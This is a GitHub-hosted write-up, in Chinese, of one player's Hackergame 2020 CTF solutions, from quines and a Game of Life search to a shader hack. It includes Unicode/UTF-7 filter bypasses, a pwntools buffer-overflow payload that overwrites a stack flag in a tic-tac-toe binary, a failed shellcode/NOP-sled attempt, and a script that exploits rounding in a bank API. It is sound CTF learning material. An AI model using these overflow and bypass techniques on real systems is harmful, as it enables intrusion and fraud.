Skip to content

Latest commit

 

History

History
749 lines (549 loc) · 27.4 KB

File metadata and controls

749 lines (549 loc) · 27.4 KB

Hackergame 2020 Write-up

写在前面

作为一个已经打了两年Hackergame的新手玩家,这次终于不是只签个到就走了,肝了好几天最后勉强留在了榜上,在这里记录一下解题过程和想法。

0x00 签到

嗯,很简单,只是这个控件稍微有点反人类,也许手稳一点就能过(

然后F12发现JS里甚至还写了在1附近横跳的逻辑……

<script type="text/javascript">
            var prevVal = 0;
            $(document).ready(function() {
                $("#show").text($('#number')[0].value);
                $('#number').on('input', function() {
                    if ($('#number')[0].value.toString() === "1") {
                        console.log('没想到吧!');
                        $('#number')[0].value = 1.00001;
                        if (prevVal == 1.00001)  $('#number')[0].value = 0.99999;
                        if (prevVal == 0.99999)  $('#number')[0].value = 1.00001;
                    }
                    $("#show").text($('#number')[0].value.toString());
                    prevVal = $('#number')[0].value;
            });
        });
        </script>

改input元素的值好了。

0x01 猫咪问答++

第一题

Google一下->看一眼标志->估计一下是不是哺乳动物->嗯,12个。

第二题

搜出来这个:以鸟类为载体的网际协议……噗,再根据RFC1149可知MTU为256 milligrams。

第三题

2019 软件自由日中国科大站,Teeworlds,9。

第四题

百度的卫星地图里看不清……然后根据提示看街景地图,9。

第五题

Hackergame 2019新闻稿,17098。

其实有几个题不确定的话也可以爆破的吧(

0x02 2048

F12看到一句注释:

<!-- 
    changelog:
    - 2020/10/31 getflxg @ static/js/html_actuator.js
  -->

继续看html_actuator.js,这也太难了(

var text = new Array();
  text[1] = "红专并进"
  text[2] = "理实交融"
  text[3] = "永恒东风"
  text[4] = "红过九重"
  text[5] = "科学高峰"
  text[6] = "高到无穷"
  text[7] = "某坑势力"
  text[8] = "信息安全"
  text[9] = "炸毁金矿"
  text[10] = "火山喷发"  
  text[11] = "也西东流"  
  text[12] = "直通云霄"
  text[13] = "太空校区"
  text[14] = "大成功"

再往下拉,看到大成功之后给flag的url。

if (won) {
    url = "/getflxg?my_favorite_fruit=" + ('b'+'a'+ +'a'+'a').toLowerCase();
  } else {
    url = "/getflxg?my_favorite_fruit=";
  }

console运行一下…NaN还行(

0x03 一闪而过的 Flag

CLI运行一下秒了。

> .\Untitled01.exe
flag{Are_you_eyes1ght_g00D?_can_you_dIst1nguish_1iI?}

0x04 从零开始的记账工具人

单价 数量
伍元玖角叁分 8
拾叁元肆角贰分 1
贰元陆角玖分 5
拾捌元柒角叁分 1
... ...

Excel只有阿拉伯数字转中文大写但没有转回去的功能……xlsx转csv,然后抄一个Python的转换函数,累加就行了。

acc = 0
with open('bills.csv', 'r', encoding='utf-8') as bills:
    for line in bills.readlines():
        if line != '':
            nc, na = line[:-1].split(',')
            acc += convert_cndigit(nc)*int(na)
print(f'flag{{{acc:.2f}}}')  # flag{17365.37}

0x05 超简单的世界模拟器

Game of Life的wiki上找到了沿着orthogonal或diagonal方向运动的spaceship,但因为能改变的区域只有左上角,怎么都够不到下面那个正方形的稳定点。

constructive

构造的方法只能得到一个flag,怒了,放了几天之后又看了一下题目里的漫画——无限的时间和空间,宇宙的本质,00101010,混沌,随机……

无限猴子定理!考虑以随机的bit来初始化这15x15的区域,一定能够碰到在演化200代之后正好摧毁两个方块的模式。(将信将疑地改了一个Game of Life的Python代码来跑:

import numpy as np


class GameOfLife:
    def __init__(self):
        # world with padding
        self.world_shape = (52, 52)
        self.world = np.zeros(self.world_shape, dtype=int)
        # set target to destroy
        self.targets = [(6, 46), (6, 47), (7, 46), (7, 47),
                        (26, 46), (26, 47), (27, 46), (27, 47)]
        for pos in self.targets:
            self.world[pos] = 1
        # generate ramdom pattern
        self.pattern = np.random.randint(2, size=(15, 15))
        self.world[1:16, 1:16] = self.pattern

    def update(self):
        world = self.world
        new_world = np.zeros(self.world_shape, dtype=int)
        for i in range(1, self.world_shape[0] - 1):
            for j in range(1, self.world_shape[1] - 1):
                neighbors = world[i-1:i+2, j-1:j+2].sum() - world[i, j]
                if world[i, j] == 1 and neighbors in (2, 3):
                    new_world[i, j] = 1
                elif world[i, j] == 0 and neighbors == 3:
                    new_world[i, j] = 1
                else:
                    new_world[i, j] = 0
        self.world = new_world

    def update_and_plot(self, n_iter):
        for _ in range(n_iter):
            self.update()
            with open('status.txt', 'w') as f:
                for row in self.world:
                    for elem in row:
                        f.write(str(elem))
                    f.write('\n')

    def check(self):
        acc = 0
        for pos in self.targets:
            acc += self.world[pos]
        return acc == 0


if __name__ == '__main__':
    while True:
        world = GameOfLife()
        world.update_and_plot(201)
        if world.check():
            break
    for row in world.pattern:
        for elem in row:
            print(elem, end='')
        print()

看着随机的世界不断演化,有一丝造物主的感觉。(结果运气蛮好,几分钟就跑出来了:

essence

0x06 自复读的复读机

反向复读

Google只找到了Python 2版本的reverse quine(Stack Exchange的Code Golf板块还挺逗的),改成Python 3:

_='(]1-::[_%%_)tnirp;%r=_';print(_%_[::-1])

但是print出来的字符串会带个\n,加个end=''的参数貌似又会跟引号冲突……直接用sys.stdout.write好了:

_=')]1-::[_%%_(etirw.tuodts.)"sys"(__tropmi__;%r=_';__import__("sys").stdout.write(_%_[::-1])

哈希复读

跟quine差不多,用hashlib算个SHA256就是了:

_='_=%r;import hashlib;import sys;sys.stdout.write(hashlib.sha256((_%%_).encode()).hexdigest())';import hashlib;import sys;sys.stdout.write(hashlib.sha256((_%_).encode()).hexdigest())

不想再玩Code Golf了(

0x07 233 同学的字符串工具

绕过to_upper()

def to_upper(s):
    r = re.compile('[fF][lL][aA][gG]')
    if r.match(s):
        print('how dare you')
    elif s.upper() == 'FLAG':
        print('yes, I will give you the flag')
        print(open('/flag1').read())
    else:
        print('%s' % s.upper())

以关键字"python upper exploit"搜出来这篇文章The Fall Of Mighty Django, Exploiting Unicode Case Transformations,发现一种“fl”的ligature “fl”(Unicode 0xFB02),在Python的str.upper()作用下会变成“FL”,于是:

绕过to_utf8()

def to_utf8(s):
    r = re.compile('[fF][lL][aA][gG]')
    s = s.encode() # make it bytes
    if r.match(s.decode()):
        print('how dare you')
    elif s.decode('utf-7') == 'flag':
        print('yes, I will give you the flag')
        print(open('/flag2').read())
    else:
        print('%s' % s.decode('utf-7'))

参考UTF-7,根据其编码规则,ASCII字符能表示的符号其实也可以再被ASCII字符编码一次,比如a->0 0 6 1->000000 000110 000100->0 6 4->A G E->+AGE-

这篇utf8everywhere值得一读(

0x08 233 同学的 Docker

Dockerfile的每次RUN都会产生一个新的layer,删除的文件应该在这个image的某个layer里,pull下来直接搜就好了。

0x09 从零开始的 HTTP 链接

浏览器和curl都不支持TCP的0端口,wget倒是可以,不过只能下载个静态网页,可以看到html里面有个WebSocket实现的terminal。通过Socket编程来跟这个terminal交互有点困难,直接糊一个TCP proxy出来好了:

import sys
import socket
import threading


def recv_data(connection):
    connection.settimeout(5)
    buffer = b''
    try:
        while True:
            data = connection.recv(4096)
            if not data:
                break
            buffer += data
    except:
        pass
    return buffer


def proxy_handler(local_socket, remote_socket):
    while True:
        local_buffer = recv_data(local_socket)
        if local_buffer:
            remote_socket.send(local_buffer)
        remote_buffer = recv_data(remote_socket)
        if remote_buffer:
            local_socket.send(remote_buffer)
        if not local_buffer or not remote_buffer:
            local_socket.close()
            remote_socket.close()
            break


if __name__ == '__main__':
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('localhost', 8080))
    server.listen(5)
    try:
        while True:
            local_socket, addr = server.accept()
            remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            remote_socket.connect(('202.38.93.111', 0))
            proxy_thread = threading.Thread(
                target=proxy_handler, args=(local_socket, remote_socket)
            )
            proxy_thread.start()
    finally:
        server.close()

最后浏览器访问:localhost:8080,然后在terminal里输入token即可得到flag:flag{TCP_P0RT_0_1s_re5erved_BUT_w0rks_*}

0x0a 来自一教的图片

题里的傅里叶光学,文件名4f_system_middle.bmp,暗示很明确了,这是个4f系统的中间平面(频谱平面),再来一次透镜成像可以在像平面得到倒像。

变换大概是这样:$$F(u,v)\text{:=}\int _{-\infty }^{\infty }\int _{-\infty }^{\infty }f(x,y) e^{-2 \pi i (u x+v y)}dxdy$$

在Mathematica里把图片导入为600x600的bit矩阵,然后把手写的二维离散傅里叶变换map上去:

太慢了……试试它自带函数的好了,不知道会用什么算法(魔法)。

0x0b 超简陋的 OpenGL 小程序

给了这样一个文件夹:

glHackergame
├── basic_lighting.fs
├── basic_lighting.vs
├── data.bin
└── glHackergame.exe

直接运行一下exe试试:

猜测给的.fs和.vs程序可以改什么参数,而hexdump看不出.bin和.exe藏了东西,或者有什么其他的反编译的方法能把模型弄出来…又该复习OpenGL了:你好,三角形

前两个代码貌似跟这篇光照基础里的vertex shaderfragment shader一模一样,在上面的光栅化渲染管线的示意图里可以看到,前者将三维的顶点坐标变换到二维的屏幕空间坐标,后者则负责环境颜色和光照的计算。

当然了,理论也要跟胡搞相结合,在某一次尝试修改.vs里的aPosz分量为0之后可以隐隐约约地看见flag:

而修改x分量为-0.2时模型会变成两条线:

前者让我想起了模型渲染中的Z-fighting现象,我猜测这样改会把所有顶点的z轴分量都置为0,于是flag和前面的墙被挤在了一起;而后者则是由于x轴的分量为-0.2,前面的墙和后面的flag都被压缩到了x=-0.2的y-z平面上,也印证了猜测。

于是为了看见flag,考虑能否在vertex shader里把墙后面的顶点的z分量调到墙的前面来,if也不写了,直接把z轴反转试试:

// basic_lighting.vs
// FragPos = vec3(model * vec4(aPos, 1.0));
vec3 pos = aPos;
pos.z = -pos.z;
FragPos = vec3(model * vec4(pos, 1.0));

再在fragment shader里把漫反射的光源改到前面来,不然看不清字:

// basic_lighting.fs
// vec3 lightDir = normalize(lightPos - FragPos);
vec3 lightDir = normalize(vec3(0.0f, 0.0f, -10.0f) - FragPos);

0x0c 生活在博弈树上

文章写得还行,给个满分好了。

题目打开之后是个井字棋,AI每次都会先手下在左上角的格子,在尝试了各种走法之后我确信后手是赢不了的——对手方落一子,我便认输。

打开给的源代码看看,发现在void ai(int *x, int *y)下面有两行注释:

// Make sure that human cannot win
// I heard that there's an algorithm named "Minimax"

好家伙,含有Alpha-beta剪枝的极大化极小算法,不愧是生活在博弈树上…接着读main函数:

bool success = false;  // human wins?
char input[128] = {};  // input is large and it will be ok.

明示这个input数组有buffer overflow的漏洞了。

while (!success) {
    while (true) {
        printf("Your turn. Input like (x,y), such as (0,1): ");
        gets(input);
        ...
    }
    ...
}
if (success) {
    puts("What? You win! Here is your flag:");
    flag_decode();
    puts(flag);
}

只要让输入溢出input,然后把success覆盖为true我就赢了,不多说了,反编译:

objdump -d tictactoe > tictactoe.s

找到初始化successinput的那两行指令:

00000000004022f4 <main>:
...
  40233b:	c6 45 ff 00          	movb   $0x0,-0x1(%rbp)
  40233f:	48 8d 95 70 ff ff ff 	lea    -0x90(%rbp),%rdx
...

嗯,success在RBP寄存器的下面1个字节,input从RBP下面0x90个字节开始,构造payload为正常输入的落子点(0,1)+填充+true的值:

from pwn import remote

def always_love_the_ground():
    payload = b'(0,1)' + b'#'*(0x90-0x6) + b'\x01'
    game = remote('202.38.93.111', 10141)
    game.recvuntil('Please input your token: ')
    game.sendline(token)
    game.recvuntil('Your turn. Input like (x,y), such as (0,1): ')
    game.sendline(payload)
   
if __name__ == '__main__':
    always_love_the_ground()

拿到了一个flag,始终热爱大地!

[+] Opening connection to 202.38.93.111 on port 10141: Done
[*] Switching to interactive mode
You wanna put X on (0,1)...
OX_
___
___
What? You win! Here is your flag:
flag{easy_gamE_but_can_u_get_my_shel1}

然后flag还提示了可以拿shell,只会NOP slide的我决定继续升上天空,算了算偏移量,然后写出这样的payload,可以覆盖(EBP+0x8)处的返回地址,跳转到NOP再滑向shellcode:

b'(0,1)' + b'\x90'*(0x90-0x6-len(shellcode)) + shellcode + b'\x01' + b'\x90'*8 + b'\xd8\xdd\xff\xff\xff\x7f\x00\x00'

SEGMENTATION FAULT,大概是编译的时候有stack protector…败了。

Program received signal SIGSEGV, Segmentation fault.

0x0d 狗狗银行

你能在狗狗银行成功薅到羊毛吗?

初始储蓄卡里1000 doge_coin(之后省略单位了吧),日利率0.3%,显然不够吃饭;而信用卡日利率0.5%,借了钱每天最低也要交10,惨。

后来的公告还提示了后端为大整数计算,排除了欠款溢出的操作,还设了1000张卡的上限,估计是要办很多卡来薅羊毛。

在尝试之后发现利息会有舍入,存款为167的储蓄卡理论上每日利息为0.501,实际计为1,而欠款为2099的信用卡利息为10.495,实际还是会变为10;于是可以用储蓄卡来套利,极限操作的实际利率为1/167=0.5988%,够还信用卡的利息+吃饭了。

编写自动化脚本来完成所有的操作:

import requests
import json

url = 'http://202.38.93.111:10100'
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
    'Authorization': 'DETACHED'
}


def create(card_type):
    '''credit/debit'''
    url_create = url + '/api/create'
    payload = {'type': card_type}
    requests.post(url_create, headers=headers, json=payload)


def transfer(src, dst, amount):
    url_transfer = url + '/api/transfer'
    payload = {'src': src, 'dst': dst, 'amount': amount}
    requests.post(url_transfer, headers=headers, json=payload)


def eat(card_id):
    url_eat = url + '/api/eat'
    payload = {'account': card_id}
    requests.post(url_eat, headers=headers, json=payload)


# 办20张信用卡(2-21)
for _ in range(20):
    create('credit')
# 办250张储蓄卡(22-271)
for _ in range(250):
    create('debit')
    
# 所有信用卡各借2099转到储蓄卡1
for credit in range(2, 22):
    transfer(credit, 1, 2099)
# 储蓄卡1向其余的储蓄卡各转167
for debit in range(22, 272):
    transfer(1, debit, 167)
eat(1)

# 把信用卡的欠款维持在2099,储蓄卡的余额维持在167,再过23天就行了
for _ in range(23):
    for credit in range(22, 272):
        transfer(credit, 1, 1)
    for debit in range(2, 22, 1):
        transfer(1, debit, 10)
    eat(1)

挂着脚本,每次刷新网页都会发现自己的净资产在涨,突然体会到了当资本家的感觉(

0x0e 超基础的数理模拟器

不就是400道定积分,我直接积不出来…让数理基础扎实的Mathematica来做吧。

从网页的html里可以直接找到LaTeX格式的式子,不过在丢给Mathematica解析之前还需要做一些预处理,比如要用括号把被积表达式括起来,改一下$e$和$dx$的写法。

def tex_to_wolfram(tex):
    tex_escape = tex.replace(
        r' ', r' \left( ', 1).replace(
        r'\,{d x}', r' \right) \, dx').replace(
        '\\', '\\\\')
    tex_escape = re.sub(r'\be', ' E', tex_escape)
    wolfram = f'NumberForm[ToExpression["{tex_escape}", TeXForm, Hold] /. Integrate -> NIntegrate // ReleaseHold, {{10, 6}}]'
    return wolfram

接着通过subprocess来调用Wolfram Engine,用CLI的标准I/O来输入题目和输出答案,如果Mathematica吐出来奇怪的东西就把这题pass了吧。

def solve_question(tex_expr):
    print(f'Expression: {tex_expr}')
    wolfram_expr = tex_to_wolfram(tex_expr)
    wolfram = subprocess.Popen(
        "wolfram", stdin=subprocess.PIPE, stdout=subprocess.PIPE)
    wolfram.stdin.write(wolfram_expr.encode())
    wolfram.stdin.close()
    out = wolfram.stdout.read().decode()
    wolfram.stdout.close()
    ans = re.search(r'Out\[1\].*', out).group()[20:-1]
    if re.match(r'^[-+]?[0-9]+\.[0-9]+$', ans):
        print(f'Answer: {ans}\n')
        return ans
    else:
        print('*PASS*\n')
        return None

再写一下GET问题和POST答案的操作,然后发现了每次刷新页面都会有Set-Cookie的操作,并且cookie中会记录做题的进度,于是每次做完题之后都会存一下cookie,避免丢失进度。

def get_cookie():
    with open('cookie.txt', 'r') as cookie_file:
        cookie = cookie_file.read()
    return cookie

def set_cookie(cookie):
    with open('cookie.txt', 'w') as cookie_file:
        cookie_file.write(cookie)

def get_question():
    url = 'http://202.38.93.111:10190'
    headers = {'Cookie': get_cookie()}
    response = requests.get(url, headers=headers)
    cookie_new = response.headers['Set-Cookie'][:-18]
    set_cookie(cookie_new)
    tex_expr = re.search(
        r'<p> \$.*\$</p>', response.text
    ).group()[5:-5]
    n_todo = re.search(
        r'<h1 class="cover-heading">.*</h1>', response.text
    ).group()[27:-7]
    return tex_expr, cookie_new, int(n_todo)

def get_question_file():
    with open('tex_expr.txt', 'r') as f:
        tex_expr = f.read()
    return tex_expr

def post_answer(ans, cookie):
    url = 'http://202.38.93.111:10190/submit'
    headers = {'Cookie': cookie}
    payload = {'ans': ans}
    response = requests.post(url, headers=headers, data=payload)
    cookie_new = response.headers['Set-Cookie'][:-18]
    set_cookie(cookie_new)

最后就是循环刷题了,不过在最后一题的时候停下让我来手动POST答案,这样可以处理最后flag页面的解析异常~~,也能有点仪式感~~。

def main():
    while True:
        try:
            tex_expr, cookie, n_todo = get_question()
            if n_todo == 1:
                break
            print(f'Progress: {400-n_todo}/400')
            ans = solve_question(tex_expr)
            if ans:
                post_answer(ans, cookie)
        except:
            continue

if __name__ == '__main__':
    main()
    # solve_question(get_question_file())

跑!

终于。

好,数理基础很扎实。

写这题的时候debug的时间蛮长的,这套pipeline一开始跑起来的速度还很慢,我甚至加了一句题目的LaTeX表达式长度大于180时pass,还想写个30秒timeout然后pass的装饰器,再开8个子进程来刷新页面得到不同的题目然后并行求解,哪个先解出来就kill其他进程,并且用它的cookie接着算,甚至有种在区块链上挖矿的感觉,又像是做题家们在内卷……

后来在Mathematica语句里用NIntegrate[]替换了N[Integrate[]]的写法,前者直接计算表达式的近似数值解,而后者在大部分情况下会先计算表达式的解析解再取近似值,于是慢得离谱而且不一定能得出解析解。

于是在我还没构思好进程池怎么调度的时候题就刷完了。

0x0f 不经意传输

某同学在某不知名百科网站上看到一个神奇的密码学协议,叫做「不经意传输」(Oblivious transfer)。

于是他按照网站上描述的「1–2 oblivious transfer」自己实现了协议中一方的逻辑,你可以作为另一方与之进行交互。

完全按照百科网站上的算法来实现的协议应该不会有什么问题吧?

根据Oblivious transfer wiki的描述,这个协议首先假设Alice有两条秘密消息$m_0$和$m_1$,然后Bob可以通过$b \in \left{0,1\right}$来选择接收某一条消息,而Bob的选择对Alice来说是保密的,所以这种协议大概可以用来……抽牌?

题目给的代码照搬了上图所示的基于RSA的Oblivious transfer协议,服务器作为Alice,而我作为Bob来与服务器交互完成传输的过程,最后根据如下的代码,最后需要给出$m_0$和$m_1$的猜测。

guess0 = int(input("m0 = "))
guess1 = int(input("m1 = "))
if guess0 == m0:
    print(open("flag1").read())
    if guess1 == m1:
        print(open("flag2").read())
else:
    print("Nope")

假设我选择接收$m_0$,与服务器交互的过程如下:

而得到另一条消息$m_1$需要知道$k_1$的值,而$k_1 =(v-x_1)^d$,其中$v$和$x_1$已知,求$k_1$等于求有限域上的离散对数,也就是攻破RSA,该搞台量子计算机了(这题应该有其他实现上的问题,还是想不到。

后记

相比于前两年,这次我终于有时间来玩个爽了,知晓了些有用的没用的知识,再感叹USTC的nerd真会玩(

题都是靠着搜索、爆破和一点点数理基础做的,面对传统Web、Reverse和Crypto的题依旧一脸茫然,只能膜前面真正数理和安全基础扎实的dalao了。